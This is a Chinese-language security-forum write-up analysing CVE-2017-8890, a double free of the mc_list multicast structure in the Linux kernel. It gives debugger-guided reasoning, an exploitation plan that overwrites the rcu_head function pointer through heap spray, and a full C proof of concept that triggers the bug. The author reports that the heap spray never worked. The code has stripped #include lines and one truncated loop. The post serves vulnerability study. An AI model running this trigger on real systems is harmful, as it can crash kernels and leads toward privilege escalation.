CVE-2017-8890漏洞分析
2017年神洞。一直都想玩玩,前段時間分析了下漏洞原理,嘗試著寫漏洞利用,奈何一直堆噴不成功。哎,水平還是不夠,繼續修煉。分析過程就發出來吧。不喜勿噴。看了幾個linux網路方面的漏洞,發現linux中用C語言實現面對物件程式設計真是夠有意思的,尤其是找每個對應協議的回撥函式時,不太好找,或許對linux網路協議程式碼還是不夠熟悉吧。
基於linux-4.1原始碼分析
第一步,找出來mc_list第一次被初始化的函式。全域性搜尋mc_list的引用。
static int inet_create(struct net *net, struct socket *sock, int protocol,
int kern)
在inet_create函式中發現:
這裡只是初始化為NULL。
為什麼會確定就是inet_create函式中第一次被建立,因為inet_create函式是在應用層呼叫socket函式建立socket物件時走到核心層裡要呼叫的。動態除錯看。
看一下inet的值。
將mc_list的地址列印出來。
可以看到當前mc_list指標是NULL,存放mc_list指標的地址為0xffff88003cfce300
開始下記憶體訪問斷點。
跑起來,斷下來了。如下圖:
果然是在呼叫setsockopt設定組播模式這個過程中訪問的。
看一下原始碼:
果然是對mc_list進行rcu模式的解引用。
繼續向下看原始碼。
Rcu_assign_pointer這個其實rcu模式的拷貝函式。紅框中程式碼就是將iml賦值給inet_mc_list。
單步走看看iml的值。
Sock_kmalloc後,iml的值是0xffff88003c8ad80。繼續單步。
將inet->mc_list賦值給Iml->next_rcu,這個時候inet->mc_list仍然是NULL。
繼續單步。
即將執行1898行程式碼了。
單步過後。
已經賦值了。到這裡,算是inet->mc_list被第一次賦值了。這個值就是0xffff88003c8a4d0。
看一下inet->mc_list結構體裡的資料。
0xa0a02e0就是poc中的組網地址:10.10.2.224/0a:0a:02:e0。
到此,算是找出mc_list物件第一次被賦值。這個物件大小是0x30個位元組。
第二步:
Diff 可以找到補丁函式。
net/ipv4/inet_connection_sock.c:707
struct sock *inet_csk_clone_lock(const struct sock *sk,
const struct request_sock *req,
const gfp_t priority)
其實可以通過understand去找這個函式的呼叫鏈,在自動生成的過程中,發現找的不完整。故採取動態除錯檢視呼叫鏈。
接下來在inet_csk_clone_lock上下斷點。
主要是tcp_v4_syn_recv_sock在tcp_check_req這個函式的呼叫過程中是屬於回撥函式,故必須除錯檢視。檢視如下。
從原始碼中可以找到呼叫的地方,下面通過列印結構體進行確認。
先確定從第一步到漏洞函式呼叫鏈。
在inet_csk_clone_lock中。
看一下補丁。
這裡需要確定newsk了。mc_list是一樣的。這裡就是sk_clone_lock拷貝的過程。
這裡父物件是0xffff88003cfce000,子物件是0xffff88003cfcf000。為什麼要確定這兩個物件。方便分析為什麼poc中要呼叫accept函式。
第三步:
確定accept函式呼叫鏈。
看一下原始碼。
在佇列中查詢已經建立的連線,並找出它們對應的sock物件。
Newsk其實就是前面三次握手後sk_clone_lock拷貝產生的子物件。在應用層呼叫accept函式,可以將這個newsk物件對應的應用層socket控制程式碼返回給使用者進行操作。
第四步:
Ok。到此,就剩下釋放了。Poc中釋放的程式碼如下:
Poc中寫的是先釋放子物件後釋放父物件。這裡就方便了,應為對mc_list下了記憶體訪問斷點,直接跑起來就可以看到結果了。
呼叫過程。
看一下原始碼:
除錯到這裡時候崩潰了,環境重新建立,有些資料結構肯定發生變化。
重新除錯來過。
確定父物件和子物件。
這裡0xffff8800cd46000是父物件,0xffff88003cd47000是子物件。
Mc_list物件如下圖:
這裡為避免傳送意外,直接在ip_mc_drop_socket上面下斷點,也可以同時下個記憶體斷點。
講道理肯定是在ip_mc_drop_socket上先斷下來。
先釋放子物件。 後面直接跑起來程式,又一次斷在了ip_mc_drop_socket上面,如下圖:
接著釋放父物件。下面就是二次釋放了。到此,漏洞原理分析完畢。
第五步:如何利用。
採取堆噴佔位。這裡看一下mc_list結構體:
Rcu_head結構體:
Rcu_head結構體裡面的func,函式指標。控制這個函式指標就可以控制EIP了。還有一個問題,這個func在哪裡呼叫?
這個rcu_head其實留給rcu機制在釋放資源時用於回撥的。這裡不展開講rcu機制。通俗點講,其實在kfree_rcu函式中只是給將要釋放的資源記錄一下並不是真正去釋放,這裡面有個寬限期的概念,然後傳送一個軟中斷給系統。然後rcu機制監聽到中斷後,相關相應函式開始工作。具體呼叫流程如下。
最終可以在__rcu_reclaim函式中有對func的呼叫。
Ok。
其實思路都很簡單,講出來或許大家都懂。但是在進行實際堆噴一直都不成功。我是採用多程式進行堆噴,一直提示setsockopt設定引數非法,一時比較懵圈。抽空再折騰折騰吧。
貼出POC,也是東家看,西家借鑑。各位高手請不吝指教。
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT1 2333
#define PORT2 4321
#define BUFF_SIZE 48
#define SPRAY_SIZE 10000
#define MAX_CHILDREN_PROCESS 1024
#define MAX_CHILDREN_SOCKETS 60000
struct child_status_t {
int num_sockets;
int result;
};
int heap_spray_sock[MAX_CHILDREN_SOCKETS];
int maximize_fd_limit(void){
struct rlimit rlim;
int ret;
ret = getrlimit(RLIMIT_NOFILE,&rlim);
if(ret != 0){
return -1;
}
rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE,&rlim);
ret = getrlimit(RLIMIT_NOFILE,&rlim);
if(ret != 0){
return -1;
}
return rlim.rlim_cur;
}
static int
create_socket(void)
{
int sock;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sock == -1) {
return -1;
}
return sock;
}
static int do_child_task(int num_fds)
{
int socks[num_fds];
int heap_success_num;
int ret;
int i;
struct group_req group = {0};
struct sockaddr_in *psin;
for(i=0; i < num_fds;i++){
//建立socket,然後setsockopt
socks[i] = create_socket();
if(socks[i] == -1){
break;
}
}
num_fds = i;
fflush(stdout);
printf("success create socket: %d\n",num_fds);
for(i=0; i < num_fds; i++) {
//設定group.gr_group的相關配置,加入組網地址
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_port = htons(0);
psin->sin_addr.s_addr = htonl(inet_addr("224.0.0.0"));//0x41424344
if(setsockopt(socks[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)) != 0){
perror("heap spray setsockopt().");
break;
}
fflush(stdout);
printf("888");
}
heap_success_num = i;
fflush(stdout);
printf("success heap spray setsockopt: %d\n",heap_success_num);
for(i=0; i < num_fds; i++){
ret = close(socks[i]);
}
if(ret == -1){
return -1;
}
return heap_success_num;
}
int create_child(int num_fds,pid_t *pid, int *num_socks_created)
{
int pipe_fds[2];
int ret;
*pid = -1;
*num_socks_created = 0;
*pid = fork();
if(*pid == -1){
perror("fork()");
return -1;
}
if(*pid == 0){
*num_socks_created = do_child_task(num_fds);
exit(0);
}
return 0;
}
void create_heap_spray_sockets(void)
{
static pid_t pids[MAX_CHILDREN_PROCESS];
static int pipe_reads[MAX_CHILDREN_PROCESS];
int max_fds;
int num_socks;
int num_children_process;
int num_children_socks;
int ret;
int i;
printf("creating heap spray sockets...\n");
fflush(stdout);
max_fds = maximize_fd_limit();
printf("max_fds: %d\n",max_fds);
num_children_process = 0;
num_socks = 0;
num_children_socks = 0;
ret = 0;
for(i = 0; i < MAX_CHILDREN_PROCESS;i++){
int max_children_socks;
int num_socks_created;
max_children_socks = max_fds;
if(max_children_socks + num_children_socks > MAX_CHILDREN_SOCKETS){
max_children_socks = MAX_CHILDREN_SOCKETS - num_children_socks;
if(max_children_socks < 1){
break;
}
}
//建立子程式,並在子程式中建立sock
printf("create %d child process.\n",i+1);
create_child(max_children_socks,&pids[i],&num_socks_created);
printf("the %d child process, child pid: %d\n", i+1,pids[i]);
if(pids[i] == -1){
break;
}
num_children_process++;
num_children_socks += num_socks_created;
printf(".");
fflush(stdout);
}
printf(" OK\n");
printf("%d sockets created\n",num_children_socks);
for(i=0; i
kill(pids[i],SIGKILL);
}
}
void* free_fn(void* arg)
{
int sockfd_client;
int error;
struct sockaddr_in sockaddr_client;
struct sockaddr_in sockaddr_server;
memset(&sockaddr_client,0,sizeof(sockaddr_client));
sockaddr_client.sin_family = AF_INET;
sockaddr_client.sin_port = htons(0);//0代表讓系統隨機分配一個空閒埠?
sockaddr_client.sin_addr.s_addr = htons(INADDR_ANY);
if((sockfd_client = socket(AF_INET,SOCK_STREAM|SOCK_CLOEXEC,IPPROTO_IP)) == -1){
printf("thread: socket error\n");
pthread_exit(0);
}
if(bind(sockfd_client,(struct sockaddr*)&sockaddr_client,sizeof(sockaddr_client))){
printf("[Client] client bind port failed!\n");
exit(1);
}
memset(&sockaddr_server,0,sizeof(sockaddr_server));
sockaddr_server.sin_family = AF_INET;
sockaddr_server.sin_port = htons(PORT1);
sockaddr_server.sin_addr.s_addr = htons(INADDR_ANY);
if((error = connect(sockfd_client,(struct sockaddr*)&sockaddr_server,sizeof(sockaddr_server))) ==0){
printf("thread: client connected successfully.\n");
}else{
perror("error:");
printf("thread: connect error.\n");
}
close(sockfd_client);
pthread_exit(0);
}
int main(int argc, char** argv)
{
int socket_fd;
int retn;
struct sockaddr_in servaddr;
struct sockaddr_in clientaddr;
struct group_req group = {0};
struct sockaddr_in *psin;
printf("pid : %d\n",getpid());
//設定group.gr_group的相關配置,加入組網地址
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
if( (socket_fd = socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) ==-1){
printf("socket error\n");
exit(0);
}
memset(&servaddr,0,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(PORT1);
if(setsockopt(socket_fd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group))==-1){
printf("setsockopt error\n");
perror("error: ");
exit(0);
}
if(bind(socket_fd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){
printf("bind successfuly.\n");
}else{
printf("bind error.\n");
exit(0);
}
if(listen(socket_fd,2)==0){
printf("listen successfuly.\n");
}else{
printf("listen error.\n");
exit(0);
}
pthread_t free;
if(pthread_create(&free,NULL,free_fn,NULL)){
printf("pthread_create error\n");
exit(0);
}
sleep(3);
//printf("start to heap spray init.\n");
//heap_spray_init();
//printf("heap spray init finish.\n");
int size = sizeof(clientaddr);
retn = accept(socket_fd,(struct sockaddr*)&clientaddr,(socklen_t *)&size);
if(retn < 0){
perror("accept error.\n");
}
printf("start to sleep.\n");
sleep(3);
printf("stop to sleep.\n");
printf("start to free mc_list firstly\n");
close(retn);//對應子物件
printf("free firstly ok!\n");
//堆噴做準備
printf("start to heap spray!\n");
create_heap_spray_sockets();
printf("heap spray ok! start to target vuln\n");
printf("start to free mc_list secondly!\n");
sleep(5);
close(socket_fd);//對應父物件
return 0;
}
本文由看雪論壇 ID蝴蝶 原創,轉載請註明來自看雪社群
原文連結:[原創]CVE-2017-8890漏洞分析-『二進位制漏洞』-看雪安全論壇
相關文章
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- BlueKeep 漏洞利用分析2019-09-20
- XSS漏洞分析2017-11-27
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- PfSense命令注入漏洞分析2020-08-19
- SSRF漏洞簡單分析2020-07-16
- JSON劫持漏洞分析2018-05-17JSON
- 從exp入手分析漏洞2016-07-26
- tp5漏洞分析2024-06-30
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- 軟體漏洞分析技巧分享2020-08-19
- Java安全之Axis漏洞分析2021-11-26Java
- thinkphp3.2.x漏洞分析2024-06-30PHP
- 【漏洞分析】ReflectionToken BEVO代幣攻擊事件分析2023-05-09事件
- 某CCTV攝像頭漏洞分析2020-08-19
- Joomla 物件注入漏洞分析報告2020-08-19OOM物件
- CORS漏洞的學習與分析2020-04-18CORS
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- Java安全之XStream 漏洞分析2021-07-22Java
- 【漏洞復現】Paraluni 安全事件分析2022-03-15事件
- Sunlogin RCE漏洞分析和使用2022-02-19
- 漏洞挖掘分析技術總結2014-03-22
- 網站漏洞修復服務商關於越權漏洞分析2022-07-15網站
- Apache Tomcat檔案包含漏洞分析2020-02-24ApacheTomcat
- 安卓Bug 17356824 BroadcastAnywhere漏洞分析2020-08-19安卓AST
- 某EXCEL漏洞樣本shellcode分析2020-08-19Excel
- Shellshock漏洞回顧與分析測試2020-08-19
- Android uncovers master-key 漏洞分析2020-08-19AndroidAST
- WordPress 3.8.2 cookie偽造漏洞再分析2020-08-19Cookie
- 關於libStagefright系列漏洞分析2020-08-19
- 漏洞掛馬網站趨勢分析2020-08-19網站
- WinRAR(5.21)-0day漏洞-始末分析2020-08-19
- [javaweb]strut2-001漏洞分析2022-01-16JavaWeb
- 從0開始fastjson漏洞分析2021-05-17ASTJSON
- Log4j漏洞原始碼分析2021-12-14原始碼
- SMT整型溢位漏洞分析筆記2018-06-19筆記
- phpcmsv9.6注入漏洞詳細分析2017-09-19PHP
- ZipperDown漏洞簡單分析及防護2018-05-18